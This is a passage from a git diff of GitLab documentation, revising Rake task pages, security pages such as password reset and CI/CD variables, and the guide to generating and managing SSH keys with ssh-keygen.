`LIMIT`: +You can also limit the number of files to delete with `LIMIT` (default `100`): ```shell sudo gitlab-rake gitlab:cleanup:orphan_job_artifact_files LIMIT=100 diff --git a/doc/raketasks/features.md b/doc/raketasks/features.md index bf67522c256..ba14293a9fd 100644 --- a/doc/raketasks/features.md +++ b/doc/raketasks/features.md @@ -1,10 +1,10 @@ --- -stage: none -group: unassigned +stage: Enablement +group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Namespaces **(CORE ONLY)** +# Namespaces **(FREE SELF)** This Rake task enables [namespaces](../user/group/index.md#namespaces) for projects. @@ -15,7 +15,13 @@ This command enables the namespaces feature introduced in GitLab 4.0. It moves e The **repository location changes as part of this task**, so you must **update all your Git URLs** to point to the new location. -The username can be changed at **Profile > Account**. +To change your username: + +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Account**. +1. In the **Change username** section, type the new username. +1. Select **Update username**. For example: diff --git a/doc/raketasks/generate_sample_prometheus_data.md b/doc/raketasks/generate_sample_prometheus_data.md index 9dbdf053693..41e31c0b817 100644 --- a/doc/raketasks/generate_sample_prometheus_data.md +++ b/doc/raketasks/generate_sample_prometheus_data.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Generate sample Prometheus data **(CORE ONLY)** +# Generate sample Prometheus data **(FREE SELF)** This command runs Prometheus queries for each of the metrics of a specific environment for a series of time intervals to now: diff --git a/doc/raketasks/import.md b/doc/raketasks/import.md index 648cd784c1b..b18413987a3 100644 --- a/doc/raketasks/import.md +++ b/doc/raketasks/import.md @@ -1,10 +1,10 @@ --- -stage: none -group: unassigned +stage: Enablement +group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Import bare repositories **(CORE ONLY)** +# Import bare repositories **(FREE SELF)** Rake tasks are available to import bare repositories into a GitLab instance. When migrating from an existing GitLab instance, diff --git a/doc/raketasks/index.md b/doc/raketasks/index.md new file mode 100644 index 00000000000..be7e55cba9b --- /dev/null +++ b/doc/raketasks/index.md @@ -0,0 +1,48 @@ +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +comments: false +--- + +# Rake tasks **(FREE SELF)** + +GitLab provides [Rake](https://ruby.github.io/rake/) tasks for common administration and operational processes. + +GitLab Rake tasks are performed using: + +- `gitlab-rake <raketask>` for [Omnibus GitLab](https://docs.gitlab.com/omnibus/README.html) installations. +- `bundle exec rake <raketask>` for [source](../install/installation.md) installations. + +## Available Rake tasks + +The following are available Rake tasks: + +| Tasks | Description | +|:----------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------| +| [Back up and restore](backup_restore.md) | Back up, restore, and migrate GitLab instances between servers. | +| [Clean up](cleanup.md) | Clean up unneeded items from GitLab instances. | +| [Development](../development/rake_tasks.md) | Tasks for GitLab contributors. | +| [Doctor tasks](../administration/raketasks/doctor.md) | Checks for data integrity issues. | +| [Elasticsearch](../integration/elasticsearch.md#gitlab-advanced-search-rake-tasks) **(PREMIUM SELF)** | Maintain Elasticsearch in a GitLab instance. | +| [Enable namespaces](features.md) | Enable usernames and namespaces for user projects. | +| [General maintenance](../administration/raketasks/maintenance.md) | General maintenance and self-check tasks. | +| [Geo maintenance](../administration/raketasks/geo.md) **(PREMIUM SELF)** | [Geo](../administration/geo/index.md)-related maintenance. | +| [GitHub import](../administration/raketasks/github_import.md) | Retrieve and import repositories from GitHub. | +| [Import repositories](import.md) | Import bare repositories into your GitLab instance. | +| [Import large project exports](../development/import_project.md#importing-via-a-rake-task) | Import large GitLab [project exports](../user/project/settings/import_export.md). | +| [Integrity checks](../administration/raketasks/check.md) | Check the integrity of repositories, files, and LDAP. | +| [LDAP maintenance](../administration/raketasks/ldap.md) | [LDAP](../administration/auth/ldap/index.md)-related tasks. | +| [List repositories](list_repos.md) | List of all GitLab-managed Git repositories on disk. | +| [Migrate Snippets to Git](migrate_snippets.md) | Migrate GitLab Snippets to Git repositories and show migration status | +| [Praefect Rake tasks](../administration/raketasks/praefect.md) | [Praefect](../administration/gitaly/praefect.md)-related tasks. | +| [Project import/export](../administration/raketasks/project_import_export.md) | Prepare for [project exports and imports](../user/project/settings/import_export.md). | +| [Sample Prometheus data](generate_sample_prometheus_data.md) | Generate sample Prometheus data. | +| [SPDX license list import](spdx.md) **(PREMIUM SELF)** | Import a local copy of the [SPDX license list](https://spdx.org/licenses/) for matching [License Compliance policies](../user/compliance/license_compliance/index.md).| | +| [Repository storage](../administration/raketasks/storage.md) | List and migrate existing projects and attachments from legacy storage to hashed storage. | +| [Uploads migrate](../administration/raketasks/uploads/migrate.md) | Migrate uploads between storage local and object storage. | +| [Uploads sanitize](../administration/raketasks/uploads/sanitize.md) | Remove EXIF data from images uploaded to earlier versions of GitLab. | +| [Usage data](../administration/troubleshooting/gitlab_rails_cheat_sheet.md#generate-usage-ping) | Generate and troubleshoot [Usage Ping](../development/usage_ping.md).| +| [User management](user_management.md) | Perform user management tasks. | +| [Webhooks administration](web_hooks.md) | Maintain project Webhooks. | +| [X.509 signatures](x509_signatures.md) | Update X.509 commit signatures, useful if certificate store has changed. | diff --git a/doc/raketasks/list_repos.md b/doc/raketasks/list_repos.md index e2442df3418..35c5e1e3357 100644 --- a/doc/raketasks/list_repos.md +++ b/doc/raketasks/list_repos.md @@ -1,10 +1,10 @@ --- -stage: none -group: unassigned +stage: Enablement +group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Listing repository directories **(CORE ONLY)** +# Listing repository directories **(FREE SELF)** You can print a list of all Git repositories on disk managed by GitLab. diff --git a/doc/raketasks/maintenance.md b/doc/raketasks/maintenance.md deleted file mode 100644 index b6d530256a7..00000000000 --- a/doc/raketasks/maintenance.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../administration/raketasks/maintenance.md' ---- - -This document was moved to [another location](../administration/raketasks/maintenance.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/raketasks/migrate_snippets.md b/doc/raketasks/migrate_snippets.md index 244ff4f2b56..0d2c4edb01f 100644 --- a/doc/raketasks/migrate_snippets.md +++ b/doc/raketasks/migrate_snippets.md @@ -4,25 +4,24 @@ group: Editor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Migration to Versioned Snippets **(CORE ONLY)** +# Migration to versioned snippets **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215861) in GitLab 13.0. In GitLab 13.0, [GitLab Snippets are backed by Git repositories](../user/snippets.md#versioned-snippets). -This means that the snippet content will be stored in the repository -and users can update it directly through Git. +Snippet content is stored in the repository, and users can update it directly through Git. -Nevertheless, existing GitLab Snippets have to be migrated to this new functionality. -For each snippet, a new repository is created and the snippet content is committed -to the repository inside a file whose name is the filename used in the snippet -as well. +Nevertheless, existing GitLab Snippets must be migrated to this new feature. +For each snippet: -GitLab performs this migration through a [Background Migration](../development/background_migrations.md) -automatically when the GitLab instance is upgrade to 13.0 or a higher version. -However, if the migration fails for any of the snippets, they still need -to be migrated individually. +- A new repository is created. +- A file is created in the repository, using the snippet filename. +- The snippet is committed to the repository. -The following Rake tasks will help with that process. +GitLab performs this migration through a [Background Migration](../development/background_migrations.md) +when the GitLab instance is upgraded to 13.0 or a higher version. +However, if the migration fails for any of the snippets, they must be migrated individually. +The following Rake tasks help with that process. ## Migrate specific snippets to Git diff --git a/doc/raketasks/spdx.md b/doc/raketasks/spdx.md index fe7ac13c463..f330698daba 100644 --- a/doc/raketasks/spdx.md +++ b/doc/raketasks/spdx.md @@ -1,10 +1,10 @@ --- -stage: none -group: unassigned +stage: Secure +group: Composition Analysis info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# SPDX license list import **(PREMIUM ONLY)** +# SPDX license list import **(PREMIUM SELF)** GitLab provides a Rake task for uploading a fresh copy of the [SPDX license list](https://spdx.org/licenses/) to a GitLab instance. This list is needed for matching the names of [License Compliance policies](../user/compliance/license_compliance/index.md). diff --git a/doc/raketasks/user_management.md b/doc/raketasks/user_management.md index 6df978b2efd..08f0005883b 100644 --- a/doc/raketasks/user_management.md +++ b/doc/raketasks/user_management.md @@ -1,10 +1,10 @@ --- -stage: none -group: unassigned +stage: Enablement +group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# User management **(CORE ONLY)** +# User management **(FREE SELF)** GitLab provides Rake tasks for user management. diff --git a/doc/raketasks/web_hooks.md b/doc/raketasks/web_hooks.md index 1f40c60e23d..e48a03f6883 100644 --- a/doc/raketasks/web_hooks.md +++ b/doc/raketasks/web_hooks.md @@ -1,10 +1,10 @@ --- -stage: none -group: unassigned +stage: Enablement +group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Webhooks administration **(CORE ONLY)** +# Webhooks administration **(FREE SELF)** GitLab provides Rake tasks for webhooks management. diff --git a/doc/raketasks/x509_signatures.md b/doc/raketasks/x509_signatures.md index a98f0af8cd8..5090fc285cc 100644 --- a/doc/raketasks/x509_signatures.md +++ b/doc/raketasks/x509_signatures.md @@ -4,7 +4,7 @@ group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# X.509 signatures **(CORE ONLY)** +# X.509 signatures **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/122159) in GitLab 12.10. diff --git a/doc/security/README.md b/doc/security/README.md index 3b64d0229ed..b009fe5c8da 100644 --- a/doc/security/README.md +++ b/doc/security/README.md @@ -23,7 +23,7 @@ type: index - [Send email confirmation on sign-up](user_email_confirmation.md) - [Security of running jobs](https://docs.gitlab.com/runner/security/) - [Proxying images](asset_proxy.md) -- [CI/CD environment variables](cicd_environment_variables.md) +- [CI/CD variables](cicd_variables.md) ## Securing your GitLab installation diff --git a/doc/security/asset_proxy.md b/doc/security/asset_proxy.md index 613743143d3..7774f5e0635 100644 --- a/doc/security/asset_proxy.md +++ b/doc/security/asset_proxy.md @@ -51,7 +51,8 @@ To install a Camo server as an asset proxy: | `asset_proxy_enabled` | Enable proxying of assets. If enabled, requires: `asset_proxy_url`). | | `asset_proxy_secret_key` | Shared secret with the asset proxy server. | | `asset_proxy_url` | URL of the asset proxy server. | - | `asset_proxy_whitelist` | Assets that match these domain(s) are NOT proxied. Wildcards allowed. Your GitLab installation URL is automatically whitelisted. | + | `asset_proxy_whitelist` | (Deprecated: Use `asset_proxy_allowlist` instead) Assets that match these domain(s) are NOT proxied. Wildcards allowed. Your GitLab installation URL is automatically allowed. | + | `asset_proxy_allowlist` | Assets that match these domain(s) are NOT proxied. Wildcards allowed. Your GitLab installation URL is automatically allowed. | 1. Restart the server for the changes to take effect. Each time you change any values for the asset proxy, you need to restart the server. diff --git a/doc/security/cicd_environment_variables.md b/doc/security/cicd_environment_variables.md index 4d60df8e531..7de2e17c0f9 100644 --- a/doc/security/cicd_environment_variables.md +++ b/doc/security/cicd_environment_variables.md @@ -1,13 +1,8 @@ --- -stage: Release -group: Release -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: 'cicd_variables.md' --- -# CI/CD Environment Variables +This document was moved to [another location](cicd_variables.md). -Environment variables are applied to environments via the runner and can be set from the project's **Settings > CI/CD** page. - -The values are encrypted using [aes-256-cbc](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) and stored in the database. - -This data can only be decrypted with a valid [secrets file](../raketasks/backup_restore.md#when-the-secrets-file-is-lost). +<!-- This redirect file can be deleted after 2021-05-15. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/security/cicd_variables.md b/doc/security/cicd_variables.md new file mode 100644 index 00000000000..4ef8129da2a --- /dev/null +++ b/doc/security/cicd_variables.md @@ -0,0 +1,13 @@ +--- +stage: Secure +group: None +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# CI/CD Variables + +CI/CD variables are applied to environments via the runner and can be set from the project's **Settings > CI/CD** page. + +The values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) and stored in the database. + +This data can only be decrypted with a valid [secrets file](../raketasks/backup_restore.md#when-the-secrets-file-is-lost). diff --git a/doc/security/crime_vulnerability.md b/doc/security/crime_vulnerability.md index c5f8afe36ad..9a43f5dfca8 100644 --- a/doc/security/crime_vulnerability.md +++ b/doc/security/crime_vulnerability.md @@ -58,7 +58,7 @@ vulnerability. ## References -- NGINX ["Module ngx_http_spdy_module"](http://nginx.org/en/docs/http/ngx_http_spdy_module.html) +- NGINX ["Module `ngx_http_spdy_module`"](http://nginx.org/en/docs/http/ngx_http_spdy_module.html) - Tenable Network Security, Inc. ["Transport Layer Security (TLS) Protocol CRIME Vulnerability"](https://www.tenable.com/plugins/index.php?view=single&id=62565) - Wikipedia contributors, ["CRIME"](https://en.wikipedia.org/wiki/CRIME) Wikipedia, The Free Encyclopedia diff --git a/doc/security/password_storage.md b/doc/security/password_storage.md index ca39defe6b9..af4b57e342a 100644 --- a/doc/security/password_storage.md +++ b/doc/security/password_storage.md @@ -11,6 +11,6 @@ GitLab stores user passwords in a hashed format, to prevent passwords from being GitLab uses the [Devise](https://github.com/heartcombo/devise) authentication library, which handles the hashing of user passwords. Password hashes are created with the following attributes: -- **Hashing**: the [bcrypt](https://en.wikipedia.org/wiki/Bcrypt) hashing function is used to generate the hash of the provided password. This is a strong, industry-standard cryptographic hashing function. +- **Hashing**: the [`bcrypt`](https://en.wikipedia.org/wiki/Bcrypt) hashing function is used to generate the hash of the provided password. This is a strong, industry-standard cryptographic hashing function. - **Stretching**: Password hashes are [stretched](https://en.wikipedia.org/wiki/Key_stretching) to harden against brute-force attacks. GitLab uses a stretching factor of 10 by default. - **Salting**: A [cryptographic salt](https://en.wikipedia.org/wiki/Salt_(cryptography)) is added to each password to harden against pre-computed hash and dictionary attacks. Each salt is randomly generated for each password, so that no two passwords share a salt, to further increase security. diff --git a/doc/security/rate_limits.md b/doc/security/rate_limits.md index 500ec057102..1609607ea5c 100644 --- a/doc/security/rate_limits.md +++ b/doc/security/rate_limits.md @@ -25,11 +25,14 @@ similarly mitigated by a rate limit. ## Admin Area settings -- [Issues rate limits](../user/admin_area/settings/rate_limit_on_issues_creation.md). -- [User and IP rate limits](../user/admin_area/settings/user_and_ip_rate_limits.md). -- [Raw endpoints rate limits](../user/admin_area/settings/rate_limits_on_raw_endpoints.md). -- [Protected paths](../user/admin_area/settings/protected_paths.md). -- [Import/Export rate limits](../user/admin_area/settings/import_export_rate_limits.md). +These are rate limits you can set in the Admin Area of your instance: + +- [Import/Export rate limits](../user/admin_area/settings/import_export_rate_limits.md) +- [Issues rate limits](../user/admin_area/settings/rate_limit_on_issues_creation.md) +- [Notes rate limits](../user/admin_area/settings/rate_limit_on_notes_creation.md) +- [Protected paths](../user/admin_area/settings/protected_paths.md) +- [Raw endpoints rate limits](../user/admin_area/settings/rate_limits_on_raw_endpoints.md) +- [User and IP rate limits](../user/admin_area/settings/user_and_ip_rate_limits.md) ## Non-configurable limits diff --git a/doc/security/reset_user_password.md b/doc/security/reset_user_password.md index fc808452736..ed7b9f89616 100644 --- a/doc/security/reset_user_password.md +++ b/doc/security/reset_user_password.md @@ -7,70 +7,91 @@ type: howto # How to reset user password -To reset the password of a user, first log into your server with root privileges. +There are a few ways to reset the password of a user. -Start a Ruby on Rails console with this command: +## Rake Task + +GitLab provides a Rake Task to reset passwords of users using their usernames, +which can be invoked by the following command: ```shell -gitlab-rails console -e production +sudo gitlab-rake "gitlab:password:reset" ``` -Wait until the console has loaded. - -## Find the user +You will be asked for username, password, and password confirmation. Upon giving +proper values for them, the password of the specified user will be updated. -There are multiple ways to find your user. You can search by email or user ID number. +The Rake task also takes the username as an argument, as shown in the example +below: ```shell -user = User.where(id: 7).first +sudo gitlab-rake "gitlab:password:reset[johndoe]" ``` -or +NOTE: +To reset the default admin password, run this Rake task with the username +`root`, which is the default username of that admin account. -```shell -user = User.find_by(email: 'user@example.com') -``` +## Rails console -## Reset the password +The Rake task is capable of finding users via their usernames. However, if only +user ID or email ID of the user is known, Rails console can be used to find user +using user ID and then change password of the user manually. -Now you can change your password: +1. Start a Rails console -```shell -user.password = 'secret_pass' -user.password_confirmation = 'secret_pass' -``` + ```shell + sudo gitlab-rails console -e production + ``` -It's important that you change both password and password_confirmation to make it work. +1. Find the user either by user ID or email ID: -When using this method instead of the [Users API](../api/users.md#user-modification), GitLab sends an email to the user stating that the user changed their password. + ```ruby + user = User.find(123) -If the password was changed by an administrator, execute the following command to notify the user by email: + #or -```shell -user.send_only_admin_changed_your_password_notification! -``` + user = User.find_by(email: 'user@example.com') + ``` -Don't forget to save the changes. +1. Reset the password -```shell -user.save! -``` + ```ruby + user.password = 'secret_pass' + user.password_confirmation = 'secret_pass' + ``` + +1. When using this method instead of the [Users API](../api/users.md#user-modification), + GitLab sends an email to the user stating that the user changed their + password. If the password was changed by an administrator, execute the + following command to notify the user by email: + + ```ruby + user.send_only_admin_changed_your_password_notification! + ``` -Exit the console, and then try to sign in with your new password. +1. Save the changes: + + ```ruby + user.save! + ``` + +1. Exit the console, and then try to sign in with your new password. NOTE: You can also reset passwords by using the [Users API](../api/users.md#user-modification). -### Reset your root password +## Reset your root password -The previously described steps can also be used to reset the root password. First, -identify the root user, with an `id` of `1`. To do so, run the following command: +The previously described steps can also be used to reset the root password. -```shell -user = User.where(id: 1).first -``` +In normal installations where the username of root account hasn't been changed +manually, the Rake task can be used with username `root` to reset the root +password. -After finding the user, follow the steps mentioned in the [Reset the password](#reset-the-password) section to reset the password of the root user. +If the username was changed to something else and has been forgotten, one +possible way is to reset the password using Rails console with user ID `1` (in +almost all the cases, the first user will be the default admin account). <!-- ## Troubleshooting diff --git a/doc/security/two_factor_authentication.md b/doc/security/two_factor_authentication.md index 4911cf63489..7a9ed9d435d 100644 --- a/doc/security/two_factor_authentication.md +++ b/doc/security/two_factor_authentication.md @@ -110,9 +110,10 @@ Each scenario can be a third-level heading, e.g. `### Getting error message X`. If you have none to add when creating a doc, leave this section in place but commented out to help encourage others to add to it in the future. --> -## Two-factor Authentication (2FA) for Git over SSH operations +## Two-factor Authentication (2FA) for Git over SSH operations **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/270554) in GitLab 13.7. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/299088) from GitLab Free to GitLab Premium in 13.9. > - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default. > - It's disabled on GitLab.com. > - It's not recommended for production use. @@ -149,3 +150,8 @@ To disable it: ```ruby Feature.disable(:two_factor_for_cli) ``` + +The feature flag affects these features: + +- [Two-factor Authentication (2FA) for Git over SSH operations](#two-factor-authentication-2fa-for-git-over-ssh-operations). +- [Customize session duration for Git Operations when 2FA is enabled](../user/admin_area/settings/account_and_limit_settings.md#customize-session-duration-for-git-operations-when-2fa-is-enabled). diff --git a/doc/security/unlock_user.md b/doc/security/unlock_user.md index 2a26b71071b..45da283f33e 100644 --- a/doc/security/unlock_user.md +++ b/doc/security/unlock_user.md @@ -40,7 +40,7 @@ To unlock a locked user: user.unlock_access! ``` -1. Exit the console with <kbd>Ctrl</kbd>+<kbd>d</kbd> +1. Exit the console with <kbd>Control</kbd>+<kbd>d</kbd> The user should now be able to log in. diff --git a/doc/ssh/README.md b/doc/ssh/README.md index f34e38fb7ca..815d8c13c43 100644 --- a/doc/ssh/README.md +++ b/doc/ssh/README.md @@ -17,179 +17,145 @@ GitLab remote server without supplying your username or password each time. This page can help you configure secure SSH keys which you can use to help secure connections to GitLab repositories. -- If you need information on creating SSH keys, start with our [options for SSH keys](#options-for-ssh-keys). +- If you need information on creating SSH keys, start with our [options for SSH keys](#supported-ssh-key-types). - If you have SSH keys dedicated for your GitLab account, you may be interested in [Working with non-default SSH key pair paths](#working-with-non-default-ssh-key-pair-paths). -- If you already have an SSH key pair, you can go to how you can [add an SSH key to your GitLab account](#adding-an-ssh-key-to-your-gitlab-account). +- If you already have an SSH key pair, you can go to how you can [add an SSH key to your GitLab account](#add-an-ssh-key-to-your-gitlab-account). -## Requirements +## Prerequisites -To support SSH, GitLab requires the installation of the OpenSSH client, which -comes pre-installed on GNU/Linux and macOS, as well as on Windows 10. +To use SSH to communicate with GitLab, you need: -Make sure that your system includes SSH version 6.5 or newer, as that excludes -the now insecure MD5 signature scheme. The following command returns the version of -SSH installed on your system: +- The OpenSSH client, which comes pre-installed on GNU/Linux, macOS, and Windows 10. +- SSH version 6.5 or later. Earlier versions used an MD5 signature, which is not secure. -```shell -ssh -V -``` - -While GitLab does [not support installation on Microsoft Windows](../install/requirements.md#microsoft-windows), -you can set up SSH keys to set up Windows [as a client](#options-for-microsoft-windows). - -## Options for SSH keys - -GitLab supports the use of RSA, DSA, ECDSA, and ED25519 keys. - -- GitLab has [deprecated](https://about.gitlab.com/releases/2018/06/22/gitlab-11-0-released/#support-for-dsa-ssh-keys) DSA keys in GitLab 11.0. -- As noted in [Practical Cryptography With Go](https://leanpub.com/gocrypto/read#leanpub-auto-ecdsa), the security issues related to DSA also apply to ECDSA. - -NOTE: -Available documentation suggests that ED25519 is more secure. If you use an RSA key, the US National Institute of Science and Technology in [Publication 800-57 Part 3 (PDF)](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf) recommends a key size of at least 2048 bits. - -Therefore, our documentation focuses on the use of ED25519 and RSA keys. - -Administrators can [restrict which keys should be permitted and their minimum lengths](../security/ssh_keys_restrictions.md). - -## Review existing SSH keys - -If you have existing SSH keys, you may be able to use them to help secure connections with GitLab -repositories. By default, SSH keys on Linux and macOS systems are stored in the user's home directory, -in the `.ssh/` subdirectory. The following table includes default filenames for each SSH key algorithm: +To view the version of SSH installed on your system, run `ssh -V`. -| Algorithm | Public key | Private key | -| --------- | ---------- | ----------- | -| ED25519 (preferred) | `id_ed25519.pub` | `id_ed25519` | -| RSA (at least 2048-bit key size) | `id_rsa.pub` | `id_rsa` | -| DSA (deprecated) | `id_dsa.pub` | `id_dsa` | -| ECDSA | `id_ecdsa.pub` | `id_ecdsa` | +GitLab does [not support installation on Microsoft Windows](../install/requirements.md#microsoft-windows), +but you can set up SSH keys on the Windows [client](#options-for-microsoft-windows). -For recommendations, see [options for SSH keys](#options-for-ssh-keys). +## Supported SSH key types -## Generating a new SSH key pair +To communicate with GitLab, you can use the following SSH key types: -If you want to create: +- [ED25519](#ed25519-ssh-keys) +- [RSA](#rsa-ssh-keys) +- DSA ([Deprecated](https://about.gitlab.com/releases/2018/06/22/gitlab-11-0-released/#support-for-dsa-ssh-keys) in GitLab 11.0.) +- ECDSA (As noted in [Practical Cryptography With Go](https://leanpub.com/gocrypto/read#leanpub-auto-ecdsa), the security issues related to DSA also apply to ECDSA.) -- An ED25519 key, read [ED25519 SSH keys](#ed25519-ssh-keys). -- An RSA key, read [RSA SSH keys](#rsa-ssh-keys). +Administrators can [restrict which keys are permitted and their minimum lengths](../security/ssh_keys_restrictions.md). ### ED25519 SSH keys The book [Practical Cryptography With Go](https://leanpub.com/gocrypto/read#leanpub-auto-chapter-5-digital-signatures) suggests that [ED25519](https://ed25519.cr.yp.to/) keys are more secure and performant than RSA keys. -As OpenSSH 6.5 introduced ED25519 SSH keys in 2014, they should be available on any current -operating system. +OpenSSH 6.5 introduced ED25519 SSH keys in 2014 and they should be available on most +operating systems. -You can create and configure an ED25519 key with the following command: +### RSA SSH keys -```shell -ssh-keygen -t ed25519 -C "<comment>" -``` +Available documentation suggests that ED25519 is more secure than RSA. -The `-C` flag, with a quoted comment such as an email address, is an optional way to label your SSH keys. +If you use an RSA key, the US National Institute of Science and Technology in +[Publication 800-57 Part 3 (PDF)](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf) +recommends a key size of at least 2048 bits. The default key size depends on your version of `ssh-keygen`. +Review the `man` page for your installed `ssh-keygen` command for details. -You'll see a response similar to: +## See if you have an existing SSH key pair -```plaintext -Generating public/private ed25519 key pair. -Enter file in which to save the key (/home/user/.ssh/id_ed25519): -``` +Before you create a key pair, see if a key pair already exists. -For guidance, proceed to the [common steps](#common-steps-for-generating-an-ssh-key-pair). +1. On Linux or macOS, go to your home directory. +1. Go to the `.ssh/` subdirectory. +1. See if a file with one of the following formats exists: -### RSA SSH keys + | Algorithm | Public key | Private key | + | --------- | ---------- | ----------- | + | ED25519 (preferred) | `id_ed25519.pub` | `id_ed25519` | + | RSA (at least 2048-bit key size) | `id_rsa.pub` | `id_rsa` | + | DSA (deprecated) | `id_dsa.pub` | `id_dsa` | + | ECDSA | `id_ecdsa.pub` | `id_ecdsa` | -If you use RSA keys for SSH, the US National Institute of Standards and Technology recommends -that you use a key size of [at least 2048 bits](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf). -By default, the `ssh-keygen` command creates an 1024-bit RSA key. +## Generate an SSH key pair -You can create and configure an RSA key with the following command, substituting if desired for the minimum recommended key size of `2048`: +If you do not have an existing SSH key pair, generate a new one. -```shell -ssh-keygen -t rsa -b 2048 -C "email@example.com" -``` +1. Open a terminal. +1. Type `ssh-keygen -t` followed by the key type and an optional comment. + This comment is included in the `.pub` file that's created. + You may want to use an email address for the comment. + + For example, for ED25519: -The `-C` flag, with a quoted comment such as an email address, is an optional way to label your SSH keys. + ```shell + ssh-keygen -t ed25519 -C "<comment>" + ``` -You'll see a response similar to: + For 2048-bit RSA: -```plaintext -Generating public/private rsa key pair. -Enter file in which to save the key (/home/user/.ssh/id_rsa): -``` + ```shell + ssh-keygen -t rsa -b 2048 -C "<comment>" + ``` -For guidance, proceed to the [common steps](#common-steps-for-generating-an-ssh-key-pair). +1. Press Enter. Output similar to the following is displayed: -NOTE: -If you have OpenSSH version 7.8 or below, consider the problems associated -with [encoding](#rsa-keys-and-openssh-from-versions-65-to-78). + ```plaintext + Generating public/private ed25519 key pair. + Enter file in which to save the key (/home/user/.ssh/id_ed25519): + ``` -### Common steps for generating an SSH key pair +1. Accept the suggested filename and directory, unless you are generating a [deploy key](#deploy-keys) + or want to save in a specific directory where you store other keys. -Whether you're creating a [ED25519](#ed25519-ssh-keys) or an [RSA](#rsa-ssh-keys) key, you've started with the `ssh-keygen` command. -At this point, you'll see the following message in the command line (for ED25519 keys): + You can also dedicate the SSH key pair to a [specific host](#working-with-non-default-ssh-key-pair-paths). -```plaintext -Generating public/private ed25519 key pair. -Enter file in which to save the key (/home/user/.ssh/id_ed25519): -``` +1. Specify a [passphrase](https://www.ssh.com/ssh/passphrase/): -If you don't already have an SSH key pair and are not generating a [deploy key](#deploy-keys), -accept the suggested file and directory. Your SSH client uses -the resulting SSH key pair with no additional configuration. + ```plaintext + Enter passphrase (empty for no passphrase): + Enter same passphrase again: + ``` -Alternatively, you can save the new SSH key pair in a different location. -You can assign the directory and filename of your choice. -You can also dedicate that SSH key pair to a [specific host](#working-with-non-default-ssh-key-pair-paths). +1. A confirmation is displayed, including information about where your files are stored. -After assigning a file to save your SSH key, you can set up -a [passphrase](https://www.ssh.com/ssh/passphrase/) for your SSH key: +A public and private key are generated. +[Add the public SSH key to your GitLab account](#add-an-ssh-key-to-your-gitlab-account) and keep +the private key secure. -```plaintext -Enter passphrase (empty for no passphrase): -Enter same passphrase again: -``` +### Update your SSH key passphrase -If successful, you'll see confirmation of where the `ssh-keygen` command -saved your identification and private key. +You can update the passphrase for your SSH key. -When needed, you can update the passphrase with the following command: +1. Open a terminal and type this command: -```shell -ssh-keygen -p -f /path/to/ssh_key -``` + ```shell + ssh-keygen -p -f /path/to/ssh_key + ``` -### RSA keys and OpenSSH from versions 6.5 to 7.8 +1. At the prompts, type the passphrase and press Enter. -Before OpenSSH 7.8, the default public key fingerprint for RSA keys was based on MD5, -and is therefore insecure. +### Upgrade your RSA key pair to a more secure format -If your version of OpenSSH lies between version 6.5 to version 7.8 (inclusive), -run `ssh-keygen` with the `-o` option to save your private SSH keys in the more secure +If your version of OpenSSH is between 6.5 and 7.8, +you can save your private RSA SSH keys in a more secure OpenSSH format. -If you already have an RSA SSH key pair to use with GitLab, consider upgrading it -to use the more secure password encryption format. You can do so with the following command: - -```shell -ssh-keygen -o -f ~/.ssh/id_rsa -``` +1. Open a terminal and type this command: -Alternatively, you can generate a new RSA key with the more secure encryption format with -the following command: + ```shell + ssh-keygen -o -f ~/.ssh/id_rsa + ``` -```shell -ssh-keygen -o -t rsa -b 4096 -C "email@example.com" -``` + Alternatively, you can generate a new RSA key with the more secure encryption format with + the following command: -NOTE: -As noted in the `ssh-keygen` man page, ED25519 already encrypts keys to the more secure -OpenSSH format. + ```shell + ssh-keygen -o -t rsa -b 4096 -C "<comment>" + ``` -## Adding an SSH key to your GitLab account +## Add an SSH key to your GitLab account -Now you can copy the SSH key you created to your GitLab 